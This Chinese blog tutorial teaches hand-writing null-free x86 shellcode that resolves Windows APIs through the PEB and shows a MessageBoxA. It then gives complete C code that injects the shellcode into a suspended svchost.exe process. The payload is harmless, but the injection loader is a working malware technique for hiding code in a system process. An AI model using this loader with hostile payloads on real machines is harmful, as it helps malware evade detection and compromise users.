编写shellcode并注入至进程

2024-02-24 10:18
文章标签 编写 注入 进程 shellcode

本文主要是介绍编写shellcode并注入至进程,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

shellcode

维基百科:

在计算机安全中,shellcode是一小段代码,可以用于软件漏洞利用的载荷。被称为“shellcode”是因为它通常启动一个命令终端,攻击者可以通过这个终端控制受害的计算机,但是所有执行类似任务的代码片段都可以称作shellcode。
……
Shellcode通常是以机器码形式编写的。

去掉修饰词,shellcode就是一段机器码。

关于shellcode如何攻击,如何利用漏洞去执行,以后补上。这次主要记录编写的shellcode 以及注入。

编写shellcode

shellcode 跟我们平常见到的机器码是有区别的,他不能是随便扣出来一段机器码就是shellcode。

注意编写shellcode的一些限制:

1.不能使用字符串的直接偏移

在代码中定义一个全局变量,或直接把该字符串传递给某个函数,编译器都会把字符串放置在一个特定的Section中(如.rdata或.data)。
也就是说你在你的shellcode定义的全局变量位置在加载程序后,会重定向到另一个位置,现在你的shellcode就找不到了。(注意这里是不能使用全局变量以及字符串的直接偏移,并不代表你不能push 数据转成字符串。)

在这里插入图片描述

2.不能直接使用系统API

因为不能确定这些API函数地址,我们无法确定包含所需函数的DLL文件是否已经加载到内存。受ASLR(地址空间布局随机化)机制的影响,系统不会每次都把DLL文件加载到相同地址上。而且,DLL文件可能随着Windows每次新发布的更新而发生变化,所以我们不能依赖DLL文件中某个特定的偏移。
我们需要把DLL文件加载到内存,然后直接通过shellcode查找所需要的函数。幸运的是,Windows API为我们提供了两个函数:LoadLibrary和GetProcAddress。我们可以使用这两个函数来查找函数的地址。

3.不能有一些特定字符(如NULL字节)
空字节:0x00,在C/C++代码中,空字节会被认为是字符串的结束符,如果shellcode中有空字节,

char *shellcode="\x11\x22\x00\x33\x44"

就不能确保后面的shellcode会被执行,比如上面的\x33\x44就不会被执行。

例如MOV EAX,0; XOR EAX,EAX; 两条指令从功能上来说是等价的,但你可以清楚地看到第一条指令包含空字节,而第二条指令却不包含空字节。虽然空字节在编译后的代码中非常常见,但是我们可以很容易地避免。
还有,在一些特殊情况下,shellcode必须避免出现类似\r或\n的字符,甚至只能使用字母数。

shellcode 汇编编写

大体步骤:

1.因为不能直接使用API 所以我们也只能从PEB 开始获取当前程序加载的kernel32.dll的基址。

2.再找到kernel32导出函数GetProcAddress函数。

3.用GetProcAddress(“LoadLibrary”,&BaseOfKernel32.dll)。

4.找到LoadLibrary api,之后想要什么API只用这两个函数就行了。

上代码:
每行都有注释,这次就简单获取MessageBoxA()。

//获取kernel32.dll的基址xor ecx, ecx mov eax, fs:[ecx + 0x30]  ;//EAX = PEBmov eax, [eax + 0xc]      ;//EAX = PEB->Ldrmov esi, [eax + 0x14]     ;//ESI = PEB->Ldr.InMemOrderlodsd                     ;//EAX = Second modulexchg eax, esi             ;//EAX = ESI, ESI = EAXlodsd                     ;//EAX = Third(kernel32)mov ebx, [eax + 0x10]     ;//EBX = Base address//获取导出函数名称vamov edx, [ebx + 0x3c]		;//EDX = DOS->e_lfanewadd edx, ebx				;//EDX = PE Headermov edx, [edx + 0x78]		;//EDX = Offset export tableadd edx, ebx				;//EDX = Export tablemov esi, [edx + 0x20]		;//ESI = Offset names tableadd esi, ebx				;//ESI = Names tablexor ecx, ecx				;//EXC = 0//对比函数名称,得到GetProcAddress函数的序号(ecx)
Get_Function:inc ecx                              ;//Inc rement the ordinal lodsd                                ;//Get name offset add eax, ebx                         ;//Get functionname cmp dword ptr[eax], 0x50746547       ;//GetP jnz Get_Function					 ;cmp dword ptr[eax + 0x4], 0x41636f72 ;//rocA jnz Get_Function					 ;cmp dword ptr[eax + 0x8], 0x65726464 ;//ddre jnz Get_Function					 ;//利用序号,找到GetProcAddress函数地址mov esi, [edx + 0x24]		;//ESI = Offset ordinalsadd esi,ebx					;//ESI = ordinals tablemov cx, [esi + ecx * 2]		;//CX = Number of functiondec ecx						;mov esi,[edx+0x1c]			;//ESI = Offset Address tableadd esi,ebx					;//ESI = Address table;mov edx,[esi + ecx * 4]		;//EDX = Pointer(offset)add edx,ebx					;//EDX = GetProcAddress//利用GetProcAddress函数找到LoadLibrayA函数地址xor ecx,ecx					;//ECX = 0push ebx					;//Kernel32 base addresspush edx					;//GetProcAddresspush ecx					;//0push 0x41797261				;//aryApush 0x7262694c				;//Librpush 0x64616f4c				;//Loadpush esp					;//"LoadLibraryA"push ebx					;//Kernel32 base addresscall edx					;//GetProcAddress()//使用LoadLibraryA函数加载需要的dll文件add esp,0xc					;//pop "LoadLibraryA"pop ecx						;//ECX = 0;push eax					;//EAX = LoadLibraryApush ecx					;//"\0"mov cx,0x6c6c				;//llpush ecx					;push 0x642e3233				;//32.dpush 0x72657375				;//userpush esp					;//"user32.dll"call eax					;//LoadLibrary("user32.dll")//使用GetProcAddress从user32dll中找到需要的函数地址add esp,0x10				;//Clean stackmov edx,[esp + 0x4]			;//EDX = GetProcAddressxor ecx,ecx					;//ECX = 0push ecx					;mov	ecx,0x6141786f			;//oxAapush ecx					;//MessageBoxsub dword ptr[esp+0x3],0x61 ;//Remove "a"push 0x42656761				;//ageBpush 0x7373654d				;//Messpush esp					;//"MessageBoxA"push eax					;//user.dll addresscall edx					;//GetProcAddress(MessageBoxA)//调用MessageBoxAadd esp,0x10				;//Cleanup stackxor ecx,ecx					;//ECX = 0push ecx					;push ecx					;push ecx					;push ecx					;call eax					;//MessageBoxA();

如果想让程序结束的优雅一点,可以在调用一个ExitProcess()

可是我不想让他优雅(狗头)

转成shellcode

有个简便的办法:

如果是vs编译器写的汇编

int main()
{__asm{//上面的汇编代码拷贝到这儿}return 0;
}

编译,将生成的exe,拖进OD。找到汇编代码入口:

在这里插入图片描述

把该函数全选,二进制复制
在这里插入图片描述
将选中的二进制稍微修改一下,0x,\x 都行。

测试运行效果

测试shellcode是否转化成功

#include<stdio.h>
#include<windows.h>int main(){char *shellcode = "\x53\x56\x33\xC9\x64\x8B\x41\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x96\xAD\x8B\x58\x10\x8B\x53\x3C\x03\xD3\x8B\x52\x78\x03\xD3\x8B\x72"
"\x20\x03\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72"
"\x65\x75\xE2\x8B\x72\x24\x03\xF3\x66\x8B\x0C\x4E\x49\x8B\x72\x1C\x03\xF3\x8B\x14\x8E\x03\xD3\x33\xC9\x53\x52\x51\x68\x61\x72\x79"
"\x41\x68\x4C\x69\x62\x72\x68\x4C\x6F\x61\x64\x54\x53\xFF\xD2\x83\xC4\x0C\x59\x50\x51\x66\xB9\x6C\x6C\x51\x68\x33\x32\x2E\x64\x68"
"\x75\x73\x65\x72\x54\xFF\xD0\x83\xC4\x10\x8B\x54\x24\x04\x33\xC9\x51\xB9\x6F\x78\x41\x61\x51\x83\x6C\x24\x03\x61\x68\x61\x67\x65"
"\x42\x68\x4D\x65\x73\x73\x54\x50\xFF\xD2\x83\xC4\x10\x33\xC9\x51\x51\x51\x51\xFF\xD0\x5E\x33\xC0\x5B\xC3";DWORD old = 0;BOOL ret = VirtualProtect(shellcode,strlen(shellcode),PAGE_EXECUTE_READWRITE,&old);__asm{jmp shellcode;}return 0;
}

进程注入shellcode

#include<stdio.h>
#include<windows.h>unsigned char codebuf[] = "\x53\x56\x33\xC9\x64\x8B\x41\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x96\xAD\x8B\x58\x10\x8B\x53\x3C\x03\xD3\x8B\x52\x78\x03\xD3\x8B\x72"
"\x20\x03\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72"
"\x65\x75\xE2\x8B\x72\x24\x03\xF3\x66\x8B\x0C\x4E\x49\x8B\x72\x1C\x03\xF3\x8B\x14\x8E\x03\xD3\x33\xC9\x53\x52\x51\x68\x61\x72\x79"
"\x41\x68\x4C\x69\x62\x72\x68\x4C\x6F\x61\x64\x54\x53\xFF\xD2\x83\xC4\x0C\x59\x50\x51\x66\xB9\x6C\x6C\x51\x68\x33\x32\x2E\x64\x68"
"\x75\x73\x65\x72\x54\xFF\xD0\x83\xC4\x10\x8B\x54\x24\x04\x33\xC9\x51\xB9\x6F\x78\x41\x61\x51\x83\x6C\x24\x03\x61\x68\x61\x67\x65"
"\x42\x68\x4D\x65\x73\x73\x54\x50\xFF\xD2\x83\xC4\x10\x33\xC9\x51\x51\x51\x51\xFF\xD0\x5E\x33\xC0\x5B\xC3";int main()
{STARTUPINFO start = {0};PROCESS_INFORMATION ProcessInfo = {0};start.cb = sizeof(STARTUPINFO);memset(&ProcessInfo, 0, sizeof(PROCESS_INFORMATION));//创建挂起进程if (!CreateProcess(L"C:\\Windows\\System32\\svchost.exe",NULL,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&start,&ProcessInfo)){printf("CreateProcess failed (%d).\n", GetLastError());return 0;}//获取线程上下文 拿到进程入口点地址CONTEXT context;context.ContextFlags = CONTEXT_ALL;if (!GetThreadContext(ProcessInfo.hThread, &context)){printf("Get ThreadContext failed (%d).\n", GetLastError());TerminateProcess(ProcessInfo.hProcess,0);return 0;}//写入shellcodeif (!WriteProcessMemory(ProcessInfo.hProcess, (LPVOID)context.Eax, codebuf, sizeof(codebuf), 0)){printf("Write Shellcode faild (%d). \n", GetLastError());TerminateProcess(ProcessInfo.hProcess, 0);return 0;}//恢复线程运行if (ResumeThread(ProcessInfo.hThread) == (DWORD)-1){printf("ResumeThread failed (%d).\n",GetLastError());TerminateProcess(ProcessInfo.hProcess, 0);return 0;}
}

在这里插入图片描述
成功。

这篇关于编写shellcode并注入至进程的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/741785

相关文章

linux进程D状态的解决思路分享

《linux进程D状态的解决思路分享》在Linux系统中,进程在内核模式下等待I/O完成时会进入不间断睡眠状态(D状态),这种状态下,进程无法通过普通方式被杀死,本文通过实验模拟了这种状态,并分析了如... 目录1. 问题描述2. 问题分析3. 实验模拟3.1 使用losetup创建一个卷作为pv的磁盘3.

Linux环境变量&&进程地址空间详解

《Linux环境变量&&进程地址空间详解》本文介绍了Linux环境变量、命令行参数、进程地址空间以及Linux内核进程调度队列的相关知识,环境变量是系统运行环境的参数,命令行参数用于传递给程序的参数,... 目录一、初步认识环境变量1.1常见的环境变量1.2环境变量的基本概念二、命令行参数2.1通过命令编程

Linux之进程状态&&进程优先级详解

《Linux之进程状态&&进程优先级详解》文章介绍了操作系统中进程的状态,包括运行状态、阻塞状态和挂起状态,并详细解释了Linux下进程的具体状态及其管理,此外,文章还讨论了进程的优先级、查看和修改进... 目录一、操作系统的进程状态1.1运行状态1.2阻塞状态1.3挂起二、linux下具体的状态三、进程的

SQL注入漏洞扫描之sqlmap详解

《SQL注入漏洞扫描之sqlmap详解》SQLMap是一款自动执行SQL注入的审计工具,支持多种SQL注入技术,包括布尔型盲注、时间型盲注、报错型注入、联合查询注入和堆叠查询注入... 目录what支持类型how---less-1为例1.检测网站是否存在sql注入漏洞的注入点2.列举可用数据库3.列举数据库

利用Python编写一个简单的聊天机器人

《利用Python编写一个简单的聊天机器人》这篇文章主要为大家详细介绍了如何利用Python编写一个简单的聊天机器人,文中的示例代码讲解详细,感兴趣的小伙伴可以跟随小编一起学习一下... 使用 python 编写一个简单的聊天机器人可以从最基础的逻辑开始,然后逐步加入更复杂的功能。这里我们将先实现一个简单的

使用PyQt5编写一个简单的取色器

《使用PyQt5编写一个简单的取色器》:本文主要介绍PyQt5搭建的一个取色器,一共写了两款应用,一款使用快捷键捕获鼠标附近图像的RGB和16进制颜色编码,一款跟随鼠标刷新图像的RGB和16... 目录取色器1取色器2PyQt5搭建的一个取色器,一共写了两款应用,一款使用快捷键捕获鼠标附近图像的RGB和16

python多进程实现数据共享的示例代码

《python多进程实现数据共享的示例代码》本文介绍了Python中多进程实现数据共享的方法,包括使用multiprocessing模块和manager模块这两种方法,具有一定的参考价值,感兴趣的可以... 目录背景进程、进程创建进程间通信 进程间共享数据共享list实践背景 安卓ui自动化框架,使用的是

C#如何优雅地取消进程的执行之Cancellation详解

《C#如何优雅地取消进程的执行之Cancellation详解》本文介绍了.NET框架中的取消协作模型,包括CancellationToken的使用、取消请求的发送和接收、以及如何处理取消事件... 目录概述与取消线程相关的类型代码举例操作取消vs对象取消监听并响应取消请求轮询监听通过回调注册进行监听使用Wa

使用Java编写一个文件批量重命名工具

《使用Java编写一个文件批量重命名工具》这篇文章主要为大家详细介绍了如何使用Java编写一个文件批量重命名工具,文中的示例代码讲解详细,感兴趣的小伙伴可以跟随小编一起学习一下... 目录背景处理1. 文件夹检查与遍历2. 批量重命名3. 输出配置代码片段完整代码背景在开发移动应用时,UI设计通常会提供不

[Linux]:进程(下)

✨✨ 欢迎大家来到贝蒂大讲堂✨✨ 🎈🎈养成好习惯,先赞后看哦~🎈🎈 所属专栏:Linux学习 贝蒂的主页:Betty’s blog 1. 进程终止 1.1 进程退出的场景 进程退出只有以下三种情况: 代码运行完毕,结果正确。代码运行完毕,结果不正确。代码异常终止(进程崩溃)。 1.2 进程退出码 在编程中,我们通常认为main函数是代码的入口,但实际上它只是用户级